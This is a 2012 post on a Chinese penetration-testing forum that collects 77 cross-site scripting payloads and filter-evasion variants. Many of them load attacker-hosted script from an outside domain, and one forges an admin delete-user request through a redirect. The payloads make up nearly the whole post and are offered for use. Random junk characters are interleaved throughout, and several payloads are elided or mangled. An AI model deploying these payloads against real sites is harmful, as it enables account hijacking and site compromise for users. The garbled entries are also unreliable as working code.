中国网络渗透测试联盟
标题:
xss跨站脚本攻击汇总
[打印本页]
作者:
admin
时间:
2012-9-5 14:56
标题:
xss跨站脚本攻击汇总
貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。
2 ]# E8 y! l& J8 Q" l
; s; ]0 E0 D( z& U1 Q3 G' l
(1)普通的XSS JavaScript注入
- i9 k$ p& b$ Y1 a; P
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
2 ]' r& A$ u4 B* x+ o; Z
, ]1 D/ v$ X7 G( v6 K
(2)IMG标签XSS使用JavaScript命令
, o1 g8 S T$ `( F! }+ n, D
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
/ F/ k9 S' X, { y# ]1 L
1 u& b4 i3 o/ @8 V" C7 t
(3)IMG标签无分号无引号
; j: L# | _+ K) |0 B7 e8 q
<IMG SRC=javascript:alert(‘XSS’)>
7 z! D0 W' |* ~
! a2 t' N" K1 V; e4 c
(4)IMG标签大小写不敏感
& I; i! ~: k# m! D; D+ X/ S% \
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
: z: _% r) _+ m
, j* q! q9 ~" m) e
(5)HTML编码(必须有分号)
( o' J ?9 G6 g
<IMG SRC=javascript:alert(“XSS”)>
" Y1 X6 ?1 e5 d
0 w2 S4 Y d ]9 \2 M
(6)修正缺陷IMG标签
6 r$ j0 }& }% B; l2 \( G
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
3 q/ X% p+ ~( n4 x! Q
7 P$ Q& U0 u4 @" w% X+ M( i
(7)formCharCode标签(计算器)
; s7 _9 k( @$ G) V, p7 e1 v& \! X
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
5 p/ f9 G4 _: [ Q, f$ T
' s1 L1 J2 G# m. ^* w' |
(8)UTF-8的Unicode编码(计算器)
% O. M6 \1 r5 }4 Z- r" A
<IMG SRC=jav..省略..S')>
9 @$ ^# |0 X. P5 l! j" r7 P
& a# Z- W$ {4 k2 t S4 R7 X/ d6 s
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
0 ?* L5 }7 m3 o
<IMG SRC=jav..省略..S')>
) ?& z F4 j5 f; W9 G' J
8 c2 J% B# c+ N! ~# G S3 p: h0 k
(10)十六进制编码也是没有分号(计算器)
* A. r+ Z4 ]0 S- p
<IMG SRC=java..省略..XSS')>
8 g0 W y" {1 M
0 b: Z9 ]/ T0 b6 i2 }
(11)嵌入式标签,将Javascript分开
" }( G" o! @. T- [) a/ k* w
<IMG SRC=”jav ascript:alert(‘XSS’);”>
. H1 [$ h" f3 g6 o9 z0 W+ B
6 j+ P- C7 j, n$ X$ N! f7 ~' W
(12)嵌入式编码标签,将Javascript分开
6 E) o9 N+ `: I+ H
<IMG SRC=”jav ascript:alert(‘XSS’);”>
! I6 f7 v2 p- r! V: S9 y9 o
2 R: x8 H" F% j
(13)嵌入式换行符
: i- n$ a, M* y, t0 h( |2 q' d1 @
<IMG SRC=”jav ascript:alert(‘XSS’);”>
6 J4 T- F; a7 x2 T. x% B
& I5 i8 G& e6 p8 U8 d! m: e
(14)嵌入式回车
& R1 e7 x. e% t4 e. v' C! f% _
<IMG SRC=”jav ascript:alert(‘XSS’);”>
. c" @& Q' r; S- O
" \) G: Q1 i; X. I* i
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
P+ [* M( X1 b
<IMG SRC=”javascript:alert(‘XSS‘)”>
. N' D2 H6 x7 V' P- A; t
- X$ ^7 I3 T- I9 a$ M
(16)解决限制字符(要求同页面)
9 [( _- n! C' B& ~% }7 d
<script>z=’document.’</script>
6 T- U! Z( { b$ k/ X! ?
<script>z=z+’write(“‘</script>
! x$ N/ S/ e" Z* e) l
<script>z=z+’<script’</script>
9 _. e! u V r3 R$ a
<script>z=z+’ src=ht’</script>
5 j9 Y+ E) ~& I
<script>z=z+’tp://ww’</script>
( K1 }& C% [# _5 K8 d
<script>z=z+’w.shell’</script>
+ i0 ^& w4 g! A
<script>z=z+’.net/1.’</script>
8 A) t T# ^ T- D8 b; n3 U
<script>z=z+’js></sc’</script>
# K" ^* e3 t3 E
<script>z=z+’ript>”)’</script>
6 d$ k" c: h6 o
<script>eval_r(z)</script>
& o8 ]* h! ]" B% O5 b6 q- I
/ P% H% J L, q1 A2 K* Z2 _# A1 }2 i
(17)空字符
& Q/ \4 }1 c: b! ]
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
D* l2 D+ D+ V* C2 s
1 E* g. W' s8 ~3 r* q9 ]7 V# V
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
3 Y/ G( t/ j9 Q! g% p
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
) M4 q' O: n- ]! w" P
" [, M# i# G# ^' c
(19)Spaces和meta前的IMG标签
* w, Q" T( V% p; G: J
<IMG SRC=” javascript:alert(‘XSS’);”>
: G" `& \) m! b [# F {& ^/ R
0 P& W( y. e5 l5 s) ~5 h0 M' Q
(20)Non-alpha-non-digit XSS
" s: O6 Y1 \# p& ^5 L
<SCRIPT/XSS SRC=”
http://3w.org/XSS/xss.js
”></SCRIPT>
4 `! l% E) Q- l; O3 h3 A: S$ t
4 W4 j. q' K( ~' G; e1 }% v
(21)Non-alpha-non-digit XSS to 2
" L( f) ^( T" \ R; W7 P0 f/ R& q6 F& ?
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
. w/ H% }7 [, e2 W
7 M3 ?0 v4 u9 F# y: [" W1 |7 [$ Y' U
(22)Non-alpha-non-digit XSS to 3
0 z5 u; N- K# E, g, B& r
<SCRIPT/SRC=”
http://3w.org/XSS/xss.js
”></SCRIPT>
, l) t! X( ?3 w
6 K2 U, m3 T8 \- F2 E
(23)双开括号
& d3 C$ b, B( ]% {8 R$ Y4 Z
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
0 r: d* @5 U# L' T' p
% q. e C2 t5 t1 N c
(24)无结束脚本标记(仅火狐等浏览器)
3 r' J2 x- ~5 p" e# I% c
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
: ^6 g8 s ^. o5 G" I) f. _9 J8 E
1 m2 h% r. ~% a: `7 q8 q
(25)无结束脚本标记2
; ]& q. i! g) s6 C% y
<SCRIPT SRC=//3w.org/XSS/xss.js>
5 E6 F) A1 a' {" y( r9 D
2 w) Y* [' }3 k8 W' r+ U( [
(26)半开的HTML/JavaScript XSS
) }6 z7 Z) r: Y2 H( ? V$ S
<IMG SRC=”javascript:alert(‘XSS’)”
* d1 F6 f; m7 C9 x6 `
" j3 O) r, x* ^* o. T
(27)双开角括号
4 R% x0 t$ g( E g, R5 t
<iframe src=http://3w.org/XSS.html <
( N, c8 U/ ~, L( m' Y8 v+ K3 N- Q
2 T+ Q7 W1 z* r5 W* G; M/ M4 S
(28)无单引号 双引号 分号
$ ] P9 `8 u3 A( ~7 X% @
<SCRIPT>a=/XSS/
2 `) C. `' S7 K9 k' L$ `/ R
alert(a.source)</SCRIPT>
* }+ J6 `# Q/ t' f% p# Q
* a' z- n3 w- |
(29)换码过滤的JavaScript
2 @& @6 b, ]( W: h6 {$ O
\”;alert(‘XSS’);//
/ ?0 H) @/ S7 _1 Q
0 Z$ w+ d0 s& f2 o( M
(30)结束Title标签
" [; C$ f4 m& [% O% y
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
8 F4 ^$ `4 y' u
0 V9 Q' H( Q4 F8 f# X4 H
(31)Input Image
4 L& _9 N: p3 @2 A1 V8 \
<INPUT SRC=”javascript:alert(‘XSS’);”>
4 S! H9 k! m. j; F$ D5 z
. t9 w6 c/ U9 Q$ z: i7 L3 x& o9 e
(32)BODY Image
+ b3 [& z$ t4 I: B
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
( ?8 o/ g( u. g9 W/ u" N
' \! W& G( F/ L' j/ ]
(33)BODY标签
2 \# u0 e6 i5 d# V% w, L6 p. C
<BODY(‘XSS’)>
3 g7 B; X7 A1 p8 u3 ^9 f( @( `5 E
4 d; q3 e5 _; v5 @: n% ~
(34)IMG Dynsrc
Z. B, U8 ], a' ^: d2 b; i
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
# V" [# W0 q% W! e6 Z
X, ~2 V# @5 v+ H& c
(35)IMG Lowsrc
! n* \' o1 O8 t6 _, c$ K6 v
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
* Z3 z" M/ d, D. I$ l# D! P2 ^4 ?
2 L Q" s# A8 | ]" f! v$ Z f+ m% n
(36)BGSOUND
# q6 N, t5 Z; b: ~' u6 @
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
# A) i, m7 W$ N9 w
. B- V, A2 g9 n. R
(37)STYLE sheet
, _6 x5 u7 w8 ]% _
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
9 e1 z1 P6 G |0 [6 v# H1 V9 O
# r) u8 o$ D z) @% ]: p$ F5 I
(38)远程样式表
8 s5 r+ n( G) N' {0 }
<LINK REL=”stylesheet” HREF=”
http://3w.org/xss.css
”>
% d# Y) }# Z% E
2 _* v! R k! T& w; s# A+ C; t5 k
(39)List-style-image(列表式)
8 @$ K0 I# `3 K7 d3 B6 s7 g
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
9 c* E% S8 f$ X( ~( p3 J* V
1 L& m3 r: _& A& y2 G& B6 u! ]2 J$ r
(40)IMG VBscript
" w4 L3 Q: ]- J( Q" @, u4 }
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
. [% D7 D# L3 W+ J0 i: A
: ?/ V8 Q2 v3 s5 i/ G- p
(41)META链接url
1 H2 H: K4 j, W1 E* c
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
/ _$ n# R3 r4 Z: d6 r
$ T8 y `% Z8 j& Y: L
(42)Iframe
9 y2 d1 X ]8 ^$ u' c
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
- _8 n4 g- i( ~0 O. \/ G5 P9 y( {
0 _1 u- ]1 k {
(43)Frame
# `( J2 ?- T7 D; c1 C& b& o2 h
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
- z" B6 e) H1 Z; V k
: w; ^6 Q6 C3 d: j) O& Y- a5 V
(44)Table
6 @7 Y& D) h9 }8 p
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
9 y, U x6 r( B, q& c1 w/ @7 h
1 U* r8 o1 a3 Q2 X5 S9 v# T
(45)TD
; |- q A) m7 K/ [& y z; X( G
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
6 V" P, ]9 m, p
% t; g9 k4 D r I3 h/ |/ ]
(46)DIV background-image
" V6 Q+ l4 h8 g# ?6 N
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
; i. Y& T: d5 ^ m1 L
( M% R5 @. e9 W; B7 {0 U2 K
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
" D4 Q1 x8 |0 b5 y. C( p. C
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
7 s6 v" R3 I4 V+ P% J' p r/ N3 m
2 ^8 `( ]) q$ x/ _' R
(48)DIV expression
& S G6 W& V$ `, r1 C
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
# q' m. u2 l- `* V+ X
/ S( i2 A1 f' X% Z9 M# L
(49)STYLE属性分拆表达
: `/ d2 {' h; F3 O
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
+ A1 [8 H, l- j0 G+ T4 T& I
7 q J* B" \1 U, X- {3 n0 N
(50)匿名STYLE(组成:开角号和一个字母开头)
9 y# F2 F: r p! P( y! i6 }
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
! z3 k O' N3 v; J5 ?
/ ]' ?: Q6 V/ I
(51)STYLE background-image
! i' z1 h2 N' j& g0 h
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
+ o& ]2 u" H+ l* p" G5 [
0 Z# j) U8 z4 u% J0 _
(52)IMG STYLE方式
6 X* A. t. w& R
exppression(alert(“XSS”))’>
" q& J6 T8 U9 [; n6 ^
9 o, e5 A/ i6 @' h' l" y
(53)STYLE background
+ b( z, g, S& ]0 \" h o
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
1 h% ]% \* ]" {5 b
# H. Q% b5 [% H, }1 U
(54)BASE
# U! G2 A! V- C8 {* H. p
<BASE HREF=”javascript:alert(‘XSS’);//”>
! s5 w. h* z. [8 |
6 N4 m v, h! I" T/ ?9 U
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
3 a5 o v+ ~. v: k" h+ }
<EMBED SRC=”
http://3w.org/XSS/xss.swf
” ></EMBED>
* ?# P: }- D. R. o. `1 ^7 o* T; }
! t3 ~5 q% K7 V! v" i4 K: a! k
(56)在flash中使用ActionScrpt可以混进你XSS的代码
9 T) g9 P; l f( C( h$ m: J0 \: I
a=”get”;
( @3 s% ]) g) f$ D' b# B
b=”URL(\”";
1 U2 [; k3 _6 }, k. P
c=”javascript:”;
* e% T8 d# J% g6 E" w+ }
d=”alert(‘XSS’);\”)”;
6 n: H4 P1 [! X& f) s% Z( Z+ A. d
eval_r(a+b+c+d);
8 _: p' c9 \6 r7 ~# R& K: n
* ~8 S% i" A0 O% r1 R- i: q: c1 h* q
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
; T; L9 O! }: {! @1 y
<HTML xmlns:xss>
: ~& r& G' g0 v( O( B
<?import namespace=”xss” implementation=”
http://3w.org/XSS/xss.htc
”>
) H3 f" A8 t$ Z! c
<xss:xss>XSS</xss:xss>
# D2 z9 s6 m! g/ D3 i" g" H
</HTML>
' z7 d' |3 _4 y+ U" N5 m
( y6 e! V, V: T7 e1 P
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
: n* h K( L: ? ?/ b H
<SCRIPT SRC=””></SCRIPT>
+ c2 `: h8 K) t. z; w( |% C
' }: ~, p+ Z" M: u* N( Y! n
(59)IMG嵌入式命令,可执行任意命令
6 U5 a! {6 o5 o% z
<IMG SRC=”
http://www.XXX.com/a.php?a=b
”>
# s6 r1 }2 L- f& b
w! r, G1 E* ?* k( l o
(60)IMG嵌入式命令(a.jpg在同服务器)
( s; m& T! w/ b
Redirect 302 /a.jpg
http://www.XXX.com/admin.asp&deleteuser
8 x4 k- g0 C+ Z; [6 i
/ Y4 V6 x: G+ q0 [3 J
(61)绕符号过滤
y& a& l% m1 ^
<SCRIPT a=”>” SRC=”
http://3w.org/xss.js
”></SCRIPT>
5 ^- ~, E6 d7 _; V- E
. `* k+ X$ @5 G4 }
(62)
9 S0 j7 C( O) h. T4 D8 s0 b
<SCRIPT =”>” SRC=”
http://3w.org/xss.js
”></SCRIPT>
8 Q( u2 e( N) L3 ^) Y
$ c! u. P8 e8 ]3 c5 \- k& r8 M5 B
(63)
2 }, ^$ ~" V4 k0 f* v% G
<SCRIPT a=”>” ” SRC=”
http://3w.org/xss.js
”></SCRIPT>
/ H* Z1 p/ Y7 H+ Z
) Z9 X4 S* P( `0 N) } @
(64)
6 |0 v8 M7 R7 @3 r
<SCRIPT “a=’>’” SRC=”
http://3w.org/xss.js
”></SCRIPT>
1 ?9 F$ x$ ]% `! O" |7 D
: f- I$ c* o5 ?8 }
(65)
C1 F4 h& U1 N) T; Y: I- E o
<SCRIPT a=`>` SRC=”
http://3w.org/xss.js
”></SCRIPT>
, R- Z' u6 G, I
( u! {9 L, i0 j l6 L
(66)
: V/ Z" P2 z+ {( R* p7 U
<SCRIPT a=”>’>” SRC=”
http://3w.org/xss.js
”></SCRIPT>
& d5 r9 k3 F6 [9 _9 B
- q# t4 u$ D8 X5 A
(67)
- x/ @, F2 J1 j+ f) @# G
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”
http://3w.org/xss.js
”></SCRIPT>
. A( G2 L4 L, P: n- f7 G+ g
' s, ^! O5 U* G" t, N* u- V
(68)URL绕行
: f! o6 q `' u6 H
<A HREF=”
http://127.0.0.1/
”>XSS</A>
$ W& N9 u M: K1 f8 j- P* \
/ Q% y6 n6 E/ I+ T! F9 B; n. v6 z
(69)URL编码
$ B1 y* J' {) k2 O2 J& L
<A HREF=”
http://3w.org
”>XSS</A>
9 V' }* I- U: X+ k4 T
3 R9 _( ]0 M+ a' {
(70)IP十进制
9 }6 V5 G5 X5 H" R
<A HREF=”http://3232235521″>XSS</A>
* i6 Y3 x6 O* j! }5 k/ M% u
" N8 @( w" D6 M9 l
(71)IP十六进制
+ [7 ]6 D3 K, z+ `+ t, _
<A HREF=”
http://0xc0.0xa8.0
×00.0×01″>XSS</A>
* V2 q' @. j7 V I2 P8 |7 u
$ v# b" \& ~6 G& j5 @5 M
(72)IP八进制
- {0 H: B3 g) M1 }( b/ a
<A HREF=”
http://0300.0250.0000.0001
″>XSS</A>
( u n0 ~/ ~6 w, q9 z- c
( s5 ~' J: l g+ X
(73)混合编码
4 b4 E* m; F4 b4 o
<A HREF=”h
; a% z7 X" U' S6 L: t4 g& \+ [
tt p://6 6.000146.0×7.147/”">XSS</A>
4 q1 r/ c& }1 l- Q4 h9 R+ A
9 f4 K: {7 i e
(74)节省[http:]
$ {. {* t1 a# D+ O
<A HREF=”//www.google.com/”>XSS</A>
# w6 e0 u) @1 Q+ |! f6 ^' H0 r1 v
# {7 K' ~7 G4 ]- i9 D7 X5 K! H1 x
(75)节省[www]
5 {1 g/ B7 [( @; Y4 K
<A HREF=”
http://google.com/
”>XSS</A>
' Q& C8 m) N3 o% K3 v) ]& N; q$ W
% U. ~+ J% j) K9 B/ Q
(76)绝对点绝对DNS
; Z+ b4 ]8 ^% I6 c0 j, ^3 w" X
<A HREF=”
http://www.google.com./
”>XSS</A>
# b& q7 p* o" p% I/ o
$ ^' u2 v) M6 }6 O4 B; a4 `
(77)javascript链接
) e( u1 O# i! A# }
<A HREF=”javascript:document.location=’
http://www.google.com/
’”>XSS</A>
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2